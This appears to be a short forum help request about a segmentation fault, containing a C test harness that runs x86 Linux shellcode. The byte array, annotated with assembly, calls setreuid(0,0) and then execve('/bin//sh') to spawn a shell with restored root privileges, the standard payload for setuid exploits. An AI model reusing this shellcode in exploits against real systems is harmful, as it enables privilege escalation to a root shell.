help sigmentation fault

#include <stdlib.h>

char sc[] =
//white space, such as carriage returns doesn't matter
// setreuid(0,0)
"\x31\xc0"
// xor
//%eax,%eax
"\xb0\x46"
// mov
//$0x46,%al
"\x31\xdb"
// xor
//%ebx,%ebx
"\x31\xc9"
// xor
//%ecx,%ecx
"\xcd\x80"
// int
//$0x80
// spawn shellcode with execve
"\x31\xc0"
// xor
//%eax,%eax
"\x50"
// push
//%eax
"\x68\x2f\x2f\x73\x68"
// push
//$0x68732f2f
"\x68\x2f\x62\x69\x6e"
// push
//$0x6e69622f
"\x89\xe3"
// mov
//%esp,%ebx
"\x50"
// push
//%eax
"\x53"
// push
//%ebx
"\x89\xe1"
// mov
//%esp,%ecx
"\x31\xd2"
// xor
//%edx,%edx
"\xb0\x0b"
// mov
//$0xb,%al
"\xcd\x80";
// int
//$0x80
//(;)terminates the string


int main(){
    void (*fp)(void);
    fp = (void*)sc;
    fp();

    return 0;
}